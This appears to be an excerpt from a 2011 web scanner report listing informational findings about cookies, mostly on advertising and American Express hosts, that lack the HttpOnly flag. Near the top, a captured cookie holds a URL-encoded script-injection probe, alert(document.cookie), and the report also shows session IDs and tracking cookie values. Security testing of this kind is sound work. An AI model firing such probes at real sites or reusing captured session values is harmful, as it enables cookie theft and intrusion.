Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktv=b41b-2a6a-eded-246412df7cd0af7; __kts=1296942984820,http%3A%2F%2Fwww.splunk.com%2F,http%3A%2F%2Fsplunkbase.splunk.com%2F%3F1ffc5%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E46cc332d1dc%3D1; __ktt=e7f-7c3a-23d7-b39612df7d36e75; __utmz=204527314.1296942985.2.2.utmcsr=splunkbase.splunk.com|utmccn=(referral)|utmcmd=referral|utmcct=/; __utma=204527314.226449434.1296942566.1296942566.1296942985.2; __utmc=204527314; Apache=173.193.214.243.1296947324287623; XARAYASID=7b7qm2s9igda8um4f34hekdr61; Enabled=true

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:08:52 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Set-Cookie: PHPSESSID=7sg72sp5qujgp16nj7smqcsl13; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 0

15.200. http://a.rfihub.com/ca.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://a.rfihub.com
Path:	/ca.gif

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

m="aACjOGo3g==AI20472701AAABLffNWaU=AI20472701AAABLevCTs8=";Path=/;Domain=.rfihub.com;Expires=Mon, 06-Aug-12 21:49:46 GMT
f="aAC5a_jbQ==AK1296942586AB1AAABLffNWaQ=AK1296740536AB1AAABLevCTs4=";Path=/;Domain=.rfihub.com;Expires=Mon, 06-Aug-12 21:49:46 GMT

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.201. http://a.tribalfusion.com/i.cid previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://a.tribalfusion.com
Path:	/i.cid

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

ANON_ID=a7ni39wyEiBVEbVB78ifJS5BUYX9esIxrnXT01OJqGZdZdJkRFveLwXfmdkxEtSJ0xvEP9nQZaD2QayAitihhLVPtBSZbELQt6iQ3sP4COlOPsT9sqFU4P0r25WMyZd0HGq7kKNUgtaoIvyKZbRYZcqTHbWhZbZcRXiSy7V7Qr4gjrxxPDrZaZbZaiELZaNYRoKNO3JUMgLdNPIZclajshvAC1CdJSWmfQ3g414ie3Hq9SIVCwW4v4ZaPdfdfewqAEcjUg1BqhyyQ3g9CPKOZaahoPlCLH0x73VDUcaPhXTBv92MHFZbuhceQA0CBy1lXwUW9sqcxs1TuSIrxEIDYMuiR5GUFZcPdZbTUf2hMxdJ35ZbpoStM2aFYyZcie6jZbbwLBmwbXgrMPnOeRpi9EFeXlbUJ0TS6PjPTRfql9M5B4FVQwtZd60FDp6JIEd6nmSrZdlmH1aqjoDDGEHCj25KgLaiFGA8u3FbBbuSH9kpBroVL68C2GNd7pJ1u2YR; path=/; domain=.tribalfusion.com; expires=Fri, 06-May-2011 21:49:44 GMT;

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.202. http://a.tribalfusion.com/j.ad previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://a.tribalfusion.com
Path:	/j.ad

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

ANON_ID=aOnoeUSyZaRWoT8vtRLdrBvyRpryGujoUyemwF9dt; path=/; domain=.tribalfusion.com; expires=Fri, 06-May-2011 22:36:11 GMT;

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.203. http://about.americanexpress.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://about.americanexpress.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BIGipServerAXAboutUs_Public=3725306048.20480.0000; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: about.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Content-Length: 57470
Expires: Sat, 05 Feb 2011 21:50:53 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sat, 05 Feb 2011 21:50:53 GMT
Connection: close
Set-Cookie: BIGipServerAXAboutUs_Public=3725306048.20480.0000; path=/

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml2/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

<link href="/content/css/main.css"
...[SNIP]...

15.204. http://about.americanexpress.com/sm/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://about.americanexpress.com
Path:	/sm/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BIGipServerAXAboutUs_Public=3758860480.20480.0000; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sm/ HTTP/1.1
Host: about.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Content-Length: 36355
Expires: Sat, 05 Feb 2011 21:50:53 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sat, 05 Feb 2011 21:50:53 GMT
Connection: close
Set-Cookie: BIGipServerAXAboutUs_Public=3758860480.20480.0000; path=/

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml2/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<link href="sm.css" rel="styleshe
...[SNIP]...

15.205. http://action.media6degrees.com/orbserv/hbpix previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://action.media6degrees.com
Path:	/orbserv/hbpix

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

adh=1lf17qo160226030103i01pznOhAUUE00cpvo3fus0122d01zfQfEf5HA000000; Domain=media6degrees.com; Expires=Thu, 04-Aug-2011 21:50:03 GMT; Path=/
clid=2lebnns011706ch47d7o8wtv1ubnn00z10020607206; Domain=media6degrees.com; Expires=Thu, 04-Aug-2011 21:50:03 GMT; Path=/
orblb=2lfk1rn0225810u020lxjs0hlmv2dh10u0100000; Domain=media6degrees.com; Expires=Thu, 04-Aug-2011 21:50:03 GMT; Path=/
rdrlst=4140o2ylebnns0000000z100207dpletz4d0000000v100210e5lg1nei0000000510020mmnlebnns0000000z100210rdlg1vir0000000410020x1blebnns0000000z10020xo1lebnns0000000z10020eh5lf17qf0000000r100206bylemlne0000000x10020w3clebnns0000000z100207gmlebnns0000000z10020jv6lebnns0000000z10020j4ilew2e20000000t10020xthlebnns0000000z10020fullf8gij0000000n100210f6lg1nei0000000510021196lfzx0l00000006100200c9lfk1rn0000000k10020jillebnns0000000z10021194lg3y5y0000000310020fuqlegh2b0000000y10020b6mlf17qk0000000q10020mz1lebnns0000000z10020cajlfk1rn0000000k10020p7vlebnns0000000z100207vglfk1rn0000000k10020xvslebnns0000000z10021192lg5l2h00000002100210ellg1nei0000000510020xuklebnns0000000z10020jk7lebnns0000000z10020x1jlebnns0000000z10020yiplebnns0000000z10020cbnlfk1rn0000000k10020xwflebnns0000000z10020yh0lebnns0000000z10020e4vlebnns0000000z100210e9lg1nei0000000510020xwblebnns0000000z10020jwblfk1rn0000000k1002; Domain=media6degrees.com; Expires=Thu, 04-Aug-2011 21:50:03 GMT; Path=/
sglst=2140s8dtletz4d0pqa500a0l00040010061gletz4d0pqa500a0l000400100a70lebnns181qq00e0l0004001005b0lf17qo0000000p1002060720682gletz4d0pqa500a0l000400100ag2leqh191fia600w1002060720682hlebnns1o9ct00z100206072069zdlebnns181qq00e0l0004001005q7letz4d0pqa500a0l000400100a6slebnns181qq00e0l000400100achlebnns181qq00e0l0004001007x9lebnns181qq00e0l000400100b1alfjpei0g7m300l10020607206820lebnns181qq00e0l000400100b0olfjpei0g7m300l10020607206ab4lebnns1o9ct00z100206072069szlebnns1o9ct00z100206072068wklebnns181qq00e0l000400100923lebnns181qq00e0l000400100ahllebnns181qq00e0l0004001000tllegh2b1pi9400y10020607206al1letz4d0pqa500a0l0004001008lllebnns181qq00e0l000400100abulebnns181qq00e0l000400100b0clfjpei0g7m300l100206072068bgletz4d0pqa500a0l0004001007y2lebnns181qq00e0l0004001005q8lebnns1o9ct00k10020606206b08lfjpei0g7m300l1002060720640slebnns181qq00e0l0004001003s4letz4d0pqa500a0l000400100ah4lebnns181qq00e0l000400100a97lebnns181qq00e0l00040010045mlfdxmc0000000m1002060720640uletz4d0pqa500a0l000400100acdlebnns181qq00e0l000400100aanlebnns181qq00e0l0004001009atlebnns181qq00e0l00040010086zlebnns181qq00e0l000400100ac3letz4d0pqa500a0l000400100; Domain=media6degrees.com; Expires=Thu, 04-Aug-2011 21:50:03 GMT; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.206. http://ad.doubleclick.net/click previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/click

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc; path=/; domain=.doubleclick.net; expires=Thu, 03 Jan 2013 00:12:48 GMT

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/click%3Bh%3Dv8/3aa5/3/0/%2a/v%3B233997820%3B0-0%3B0%3B57848017%3B1-468/60%3B39912829/39930616/1%3B%3B~okv%3D%3Bpc%3D%5BTPAS_ID%5D%3B%3B~sscs%3D%3fhttp://personalsavings.americanexpress.com/savings-product.html

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc; path=/; domain=.doubleclick.net; expires=Thu, 03 Jan 2013 00:12:48 GMT

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

HTTP/1.1 302 Moved Temporarily
Content-Length: 0
Location: http://personalsavings.americanexpress.com/savings-product.html
Set-Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc; path=/; domain=.doubleclick.net; expires=Thu, 03 Jan 2013 00:12:48 GMT
P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Date: Sat, 05 Feb 2011 21:49:07 GMT
Server: GFE/2.0
Content-Type: text/html

15.208. http://ad.doubleclick.net/clk previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/clk

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

id=c653243310000d9|2782903/965205/15010,189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc; path=/; domain=.doubleclick.net; expires=Thu, 03 Jan 2013 00:12:48 GMT

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.209. http://ad.doubleclick.net/jump/N553.158901.DATAXU/B4970757.11 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/jump/N553.158901.DATAXU/B4970757.11

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc; path=/; domain=.doubleclick.net; expires=Thu, 03 Jan 2013 00:12:48 GMT

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.210. http://ad.yieldmanager.com/pixel previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.yieldmanager.com
Path:	/pixel

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

bh="b!!!$Z!!$ha!!DPb<lQiA!!'iQ!!!!#<htUa!!*$n!!!!#<htUa!!*10!!!!$<lQj,!!,D(!!!!%<lQj,!!-?2!!!!)<lQj,!!-G2!!!!$<lise!!-yu!!!!%<hu%6!!.+B!!!!%<hu%:!!0!j!!!!(<lQj,!!0+@!!!!$<jb`/!!04a!!!!$<jb`/!!1CD!!!!$<lP]!!!1Mv!!!!#<hfYB!!1SP!!!!$<ie@u!!2(x!!!!'<lQj,!!4<u!!!!(<lQj,!!4d6!!!!#<jbN=!!5i*!!!!#<himW!!<@x!!!!%<lSWC!!?VS!!DPb<lQiA!!J>N!!!!#<k2yx!!KNF!!ErC<k0fB!!L(*!!!!#<h67=!!L(^!!!!#<lja'!!L_w!!!!(<lja'!!MZU!!!!#<lQiC!!Mr(!!ErC<k0fB!!ObA!!!!#<lQj,!!ObV!!!!#<lQj,!!OgU!!!!'<lQj,!!Z-E!!!!#<lQj,!!Z-G!!!!#<lQj,!!Z-L!!!!#<lQj,!!Zw`!!!!$<lQj,!!Zwb!!!!%<lQj,!!`Yp!!!!#<htUb!!fP+!!!!#<k`g7!!hqJ!!!!#<lP]!!!i0,!!!!#<lQj,!!iEC!!!!%<lQj,!!iEb!!!!(<lQj,!!i_9!!!!#<lQj,!!jD6!!!!#<lja'!!mDJ!!!!#<lQq8!!qOs!!!!#<htUb!!qOt!!!!#<htUb!!qOu!!!!#<htUb!!qu+!!!!#<lP]!!!r-X!!!!#<iMv0!!s6R!!!!#<htUb!!s9!!!!!#<jc#c!!u[u!!!!(<lVbU!!utd!!!!(<lVbU!!utl!!!!#<lSD*!!uto!!!!#<lVbU!!uu)!!!!%<lSVZ!!v:e!!!!'<lQj,!!y]X!!!!#<k11E!!ys+!!!!$<h2ED!###G!!!!#<lP[k!###_!!!!#<j?lI!##lo!!!!#<jbO@!#$=X!!!!#<gj@R!#')-!!!!#<k2yx!#*VS!!!!#<jLPe!#+]S!!!!'<lQj,!#,##!!!!'<lSWC!#-B#!!!!#<l.yn!#-vv!!!!$<iC/K!#.dO!!!!(<lja'!#/:a!!!!#<lP]'!#/G2!!!!#<lQj,!#/G<!!!!#<lQj,!#/GO!!!!#<lQj,!#/yX!!!!#<k2yx!#0$b!!!!%<hu%0!#15#!!ErC<k0fB!#15$!!ErC<k0fB!#17@!!DPb<lQiA!#1=E!!!!#<kI4S!#2+>!!!!'<lS0M!#2`q!!!!#<jc#g!#2mR!!!!$<lEIO!#3>M!!!!#<lmWm!#3pS!!!!$<lR(Q!#3pv!!!!$<lP]%!#5(X!!!!#<jLPe!#5(Y!!!!#<l.yn!#5(`!!!!#<jLPe!#5(b!!!!#<kI3?!#5(f!!!!#<kI4S!#5m!!!!!#<k2yx!#5mH!!!!#<k2yx!#7(x!!!!)<lQj,!#8.'!!!!#<lP]%!#8:i!!!!#<jc#c!#8?7!!!!#<lP]!!#8A2!!!!#<k11E!#:dW!!!!#<gj@R!#<T3!!!!#<jbNC!#CC>!!!!#<lS@,!#F1H!!!!'<lS0M!#I=D!!!!#<kjhR!#Ic1!!!!#<lP]#!#K?%!!!!#<l8V)!#Kbb!!!!#<jLP/!#LI/!!!!#<k2yw!#LI0!!!!#<k2yw!#MP0!!!!#<jLPe!#MTC!!!!)<lQj5!#MTF!!!!)<lQj5!#MTH!!!!)<lQj5!#MTI!!!!)<lQj5!#MTJ!!!!)<lQj5!#N$7!!!!#<lja'!#NjS!!!!#<lI#*!#O>M!!DPb<lQiA!#OAV!!DPb<lQiA!#OAW!!DPb<lQiA!#OC2!!!!#<l/M+!#P<=!!!!#<kQRW!#PqQ!!!!#<lI#)!#PrV!!!!#<kQRW!#Q+o!!!!(<lja'!#Qh8!!!!#<l.yn!#RY.!!!!#<lja'!#Ri/!!!!(<lja'!#Rij!!!!(<lja'!#SCj!!!!$<kcU!!#SCk!!!!%<lja(!#SUp!!!!'<lQj,!#SjO!!!!#<gj@R!#SqW!!!!#<gj@R!#T#d!!!!#<k2yx!#T,d!!!!#<lR(Q!#TlE!!!!#<lP](!#TnE!!!!%<lQj5!#Tnp!!!!#<lP]#!#U5p!!!!#<gj@R!#UAO!!!!#<k2yx!#UDQ!!!!)<lQj5!#UL(!!!!%<lQW%!#W^8!!!!#<jem(!#Wb2!!DPb<lQiA!#X)y!!!!#<jem(!#X]+!!!!'<kdT!!#X]l!!!!#<lja'!#ZhT!!!!)<lQj,!#Zmf!!!!$<kT`F!#[25!!!!%<lhqW!#[L>!!!!%<lise!#]!g!!!!#<gj@R!#]%`!!!!#<lRYE!#]Ky!!!!#<gj@R!#]W%!!!!#<lja'!#^0$!!!!'<lQj,!#^0%!!!!'<lQj,!#^Bo!!!!#<lja'!#^d6!!!!#<lRYE!#_0t!!!!%<kTb(!#`SX!!!!#<gj@R!#aCq!!!!'<lisd!#aG>!!!!(<lja'!#aM'!!!!#<kp_p!#av4!!!!#<iLQl!#b<[!!!!#<jHAu!#b<]!!!!#<jLPi!#b<^!!!!#<jHAu!#b<d!!!!#<jLPi!#b<e!!!!#<l.yn!#b<g!!!!#<kI4S!#b<i!!!!#<jLPe!#b<j!!!!#<jHAu!#b<w!!!!#<jHAu!#b?A!!!!#<l.x@!#b](!!!!#<gj@R!#b`>!!!!#<jc#Y!#b`?!!!!#<jc#Y!#b`@!!!!#<jc#Y!#c8D!!!!#<gj@R!#cC!!!!!#<ie2`!#e@W!!!!#<k_2)!#ePa!!!!#<gj@R!#eR5!!!!#<gj@R!#eVe!!!!#<jHAu!#elE!!!!#<k3!!!#f93!!!!#<gj@R!#fBj!!!!(<lQj,!#fBk!!!!(<lQj,!#fBm!!!!(<lQj,!#fBn!!!!(<lQj,!#fBu!!!!#<gj@R!#fE=!!!!'<lQj,!#fG+!!!!(<lQj,!#fJ/!!!!#<gj@R!#fJw!!!!#<gj@R!#fK9!!!!#<gj@R!#fK>!!!!#<gj@R!#fdu!!!!#<k2yx!#fpW!!!!#<l/JY!#fpX!!!!#<l/JY!#fpY!!!!#<l/JY!#g'E!!!!#<gj@R!#g/7!!!!'<lQj,!#g<%!!!!#<gj@R!#gRx!!!!#<htU3!#g[h!!!!#<lja'!#g]7!!!!#<l.yn!#g]9!!!!#<kjl4!#h.N!!!!#<kL2n!#jS>!!!!#<k_Jy!#mP5!!!!$<lise!#mP6!!!!$<lise!#naX!!!!#<lja'!#ndJ!!!!$<lP]'!#ndP!!!!$<lP]'!#nda!!!!$<lP]'!#ne$!!!!$<lP]'!#p#b!!!!#<lja'!#p9d!!!!#<lj09!#pD8!!!!#<l`GD!#p]T!!!!$<kL2n!#sx#!!!!#<lQj5"; path=/; expires=Mon, 04-Feb-2013 21:48:02 GMT

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /pixel?id=731976&t=2 HTTP/1.1
Host: ad.yieldmanager.com
Proxy-Connection: keep-alive
Referer: http://download32.us.intellitxt.com/iframescript.jsp?src=http%3A%2F%2Fpixel.intellitxt.com%2Fpixel.jsp%3Fid%3D2773%2C2770%2C2765%2C2794%2C2792%2C2795%2C2763%2C2764%26type%3Dscript%26ipid%3D18400%26sfid%3D0
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: pc1="b!!!!#!#49P!!!*Z!##wb!+:d(!$9rJ!!H<)!?5%!)I-X?![:Z-!#[Q#!%(/.~~~~~~<ht]%~M.jTN"; BX=90d0t1d6iq2v7&b=3&s=9e; uid=uid=b167d032-2d75-11e0-89fa-003048d6d890&_hmacv=1&_salt=2074615246&_keyid=k1&_hmac=249585fedc0ca1193988128dced0dced5912c7fb; pv1="b!!!!?!#1xy!!E)$!$XwM!+kS,!$els!!mT-!?5%!'2gi6!w1K*!%4=%!$$#u!%_/^~~~~~<jbO@~~!#X@7!,x.^!$W@l!-g#y!$l:u!!!!$!?5%!%QkD1!wVd.!')sC!#rxb!%fi5~~~~~<k:[]<oNFg~!#X@9!,x.^!$W@l!-g#y!$l:u!!!!$!?5%!%QkD1!wVd.!')sC!#rxb!%fi5~~~~~<k:[]<oNFg~!#X@<!,x.^!$W@l!-g#y!$l:u!!!!$!?5%!%QkD1!wVd.!')sC!#rxb!%fi5~~~~~<k:[]<oNFg~!#X@>!,x.^!$W@l!-g#y!$l:u!!!!$!?5%!%QkD1!wVd.!')sC!#rxb!%fi5~~~~~<k:[]<oNFg~!#dT5!,x.^!$W@l!/9uI!%*gh!!H<)!?5%!%QkD1!wVd.!')sC!#rxb!'*:S~~~~~<k:]D<oNGN~!#dT7!,x.^!$W@l!/9uI!%*gh!!H<)!?5%!%QkD1!wVd.!')sC!#rxb!'*:S~~~~~<k:]D<oNGN~!#dT9!,x.^!$W@l!/9uI!%*gh!!H<)!?5%!%QkD1!wVd.!')sC!#rxb!'*:S~~~~~<k:]D<oNGN~!#dT<!,x.^!$W@l!/9uI!%*gh!!H<)!?5%!%QkD1!wVd.!')sC!#rxb!'*:S~~~~~<k:]D<oNGN~!#`,W!,x.^!$W@l!.T97!$x>$!!mT-!?5%!%QkD1!wVd.!')sC!#rxb!%uNO~~~~~<k:^)<oNH3~!#`,Z!,x.^!$W@l!.T97!$x>$!!mT-!?5%!%QkD1!wVd.!')sC!#rxb!%uNO~~~~~<k:^)<oNH3~!#`,]!,x.^!$W@l!.T97!$x>$!!mT-!?5%!%QkD1!wVd.!')sC!#rxb!%uNO~~~~~<k:^)<oNH3~!#`,_!,x.^!$W@l!.T97!$x>$!!mT-!?5%!%QkD1!wVd.!')sC!#rxb!%uNO~~~~~<k:^)<oNH3~!#3yC!!!%G!#4*B!/cr5!%:4s!!!%%!?5%!'k4o6!wVd.!$,gR!$a0[!'>es~~~~~<kI5G<o[wQ~!!x>#!!!/`!$C*N!.E9F!%7Dl!!!!$!?5%!%5XA1!w1K*!%oT=!!MLR!':'O~~~~~<lEIO<t:,n!!.vL!!uiR!!!+J!$>dt!.5=<!$rtW!!!!$!?5%!%R%P3!ZZ<)!%[hn!%nsh~~~~~~<lQj6~~!!0iu!!!/`!$=vN!03UD!$b[P!!!!$!?5%!%R%P3!ZmB)!%Z6*!%Z6<~~~~~~<lR)/~~!#Ic<!+*gd!$e)@!/cMg!%:[h!!!!$!?5%!%nBY4!wVd.!'Cuk!#^3*!'?JV~~~~~<lRY,~~!#N(B!!!+o!$%i1!,Y*D!$dhw!!!!$!?5%!%nBY4!ZZ<)!%X++!%]s!~~~~~~<lRY.<pfD8~!#mP:!!!/`!$V.-!00Gv!%Bbn!!!!$!?5%!'O+r7!w1K*!'%l)!!j:k!'H85~~~~~<l`GD<lx@?!!!#G!#mP>!!!/`!$V.-!00Gv!%Bbn!!!!$!?5%!'O+r7!w1K*!'%l)!!j:k!'H85~~~~~<l`GD<lx@?!!!#G!#mPA!!!/`!$V.-!00Gv!%Bbn!!!!$!?5%!'O+r7!w1K*!'%l)!!j:k!'H85~~~~~<l`GD<lx@?!!!#G!#mPD!!!/`!$V.-!00Gv!%Bbn!!!!$!?5%!'O+r7!w1K*!'%l)!!j:k!'H85~~~~~<l`GD<lx@?!!!#G!#mPG!!!/`!$V.-!00Gv!%Bbn!!!!$!?5%!'O+r7!w1K*!'%l)!!j:k!'H85~~~~~<l`GD<lx@?!!!#G!#mPJ!!!/`!$V.-!00Gv!%Bbn!!!!$!?5%!'O+r7!w1K*!'%l)!!j:k!'H85~~~~~<l`GD<lx@?!!!#G!#p!r!!!/`!$V.-!00Gv!%Bbn!!!!$!?5%!'O+r7!w1K*!'%l)!!j:k!'H85~~~~~<l`GD<l`]S!!.vL!#p!u!!!/`!$V.-!00Gv!%Bbn!!!!$!?5%!'O+r7!w1K*!'%l)!!j:k!'H85~~~~~<l`GD<l`]S!!.vL"; ih="b!!!!D!(4vA!!!!#<kc#t!(mhO!!!!$<lEKI!*09R!!!!#<l/M+!*gS^!!!!#<kI:#!+/Wc!!!!#<jbN?!+:d(!!!!#<htX7!+:d=!!!!$<hu%0!+kS,!!!!#<jbO@!,Y*D!!!!#<lRY.!->h]!!!!$<lRYo!-g#y!!!!#<k:[]!.5=<!!!!#<lQj6!.E9F!!!!$<lEIO!.N)i!!!!#<htgq!.T97!!!!#<k:^)!.`.U!!!!'<kc#o!.tPr!!!!#<k`nL!/9uI!!!!#<k:]D!/H]-!!!!'<hu!d!/JXx!!!!$<lEWe!/J`3!!!!#<jbND!/cMg!!!!#<lRY,!/cr5!!!!#<kI5G!/o:O!!!!#<htU#!/oCq!!!!%<l`JX!/poZ!!!!#<iLQk!/uG1!!!!#<jbOF!00Gv!!!!#<l`GD!03UD!!!!#<lR)/!08r)!!!!$<lEWx!0>0V!!!!#<l/M.!0>0W!!!!#<lEK0"; bh="b!!!$[!!$ha!!DPb<lQiA!!'iQ!!!!#<htUa!!*$n!!!!#<htUa!!*10!!!!$<lQj,!!,D(!!!!%<lQj,!!-?2!!!!)<lQj,!!-G2!!!!$<lise!!-yu!!!!%<hu%6!!.+B!!!!%<hu%:!!0!j!!!!(<lQj,!!0+@!!!!$<jb`/!!04a!!!!$<jb`/!!1CD!!!!$<lP]!!!1Mv!!!!#<hfYB!!1SP!!!!$<ie@u!!2(x!!!!'<lQj,!!4<u!!!!(<lQj,!!4d6!!!!#<jbN=!!5i*!!!!#<himW!!<@x!!!!%<lSWC!!?VS!!DPb<lQiA!!J>N!!!!#<k2yx!!KNF!!ErC<k0fB!!L(*!!!!#<h67=!!L(^!!!!#<lja'!!L_w!!!!(<lja'!!MZU!!!!#<lQiC!!Mr(!!ErC<k0fB!!ObA!!!!#<lQj,!!ObV!!!!#<lQj,!!OgU!!!!'<lQj,!!Z-E!!!!#<lQj,!!Z-G!!!!#<lQj,!!Z-L!!!!#<lQj,!!Zw`!!!!$<lQj,!!Zwb!!!!%<lQj,!!`Yp!!!!#<htUb!!fP+!!!!#<k`g7!!hqJ!!!!#<lP]!!!i0,!!!!#<lQj,!!iEC!!!!%<lQj,!!iEb!!!!(<lQj,!!i_9!!!!#<lQj,!!jD6!!!!#<lja'!!mDJ!!!!#<lQq8!!qOs!!!!#<htUb!!qOt!!!!#<htUb!!qOu!!!!#<htUb!!qu+!!!!#<lP]!!!r-X!!!!#<iMv0!!s6R!!!!#<htUb!!s9!!!!!#<jc#c!!u[u!!!!(<lVbU!!utd!!!!(<lVbU!!utl!!!!#<lSD*!!uto!!!!#<lVbU!!uu)!!!!%<lSVZ!!v:e!!!!'<lQj,!!y]X!!!!#<k11E!!ys+!!!!$<h2ED!###G!!!!#<lP[k!###_!!!!#<j?lI!##lo!!!!#<jbO@!#$=X!!!!#<gj@R!#')-!!!!#<k2yx!#*VS!!!!#<jLPe!#+]S!!!!'<lQj,!#,##!!!!'<lSWC!#-B#!!!!#<l.yn!#-vv!!!!$<iC/K!#.dO!!!!(<lja'!#/:a!!!!#<lP]'!#/G2!!!!#<lQj,!#/G<!!!!#<lQj,!#/GO!!!!#<lQj,!#/yX!!!!#<k2yx!#0$b!!!!%<hu%0!#15#!!ErC<k0fB!#15$!!ErC<k0fB!#17@!!DPb<lQiA!#1=E!!!!#<kI4S!#2+>!!!!'<lS0M!#2`q!!!!#<jc#g!#2mR!!!!$<lEIO!#3pS!!!!$<lR(Q!#3pv!!!!$<lP]%!#5(X!!!!#<jLPe!#5(Y!!!!#<l.yn!#5(`!!!!#<jLPe!#5(b!!!!#<kI3?!#5(f!!!!#<kI4S!#5m!!!!!#<k2yx!#5mH!!!!#<k2yx!#7(x!!!!)<lQj,!#8.'!!!!#<lP]%!#8:i!!!!#<jc#c!#8?7!!!!#<lP]!!#8A2!!!!#<k11E!#:dW!!!!#<gj@R!#<T3!!!!#<jbNC!#CC>!!!!#<lS@,!#F1H!!!!'<lS0M!#I=D!!!!#<kjhR!#Ic1!!!!#<lP]#!#K?%!!!!#<l8V)!#Kbb!!!!#<jLP/!#LI/!!!!#<k2yw!#LI0!!!!#<k2yw!#MP0!!!!#<jLPe!#MTC!!!!)<lQj5!#MTF!!!!)<lQj5!#MTH!!!!)<lQj5!#MTI!!!!)<lQj5!#MT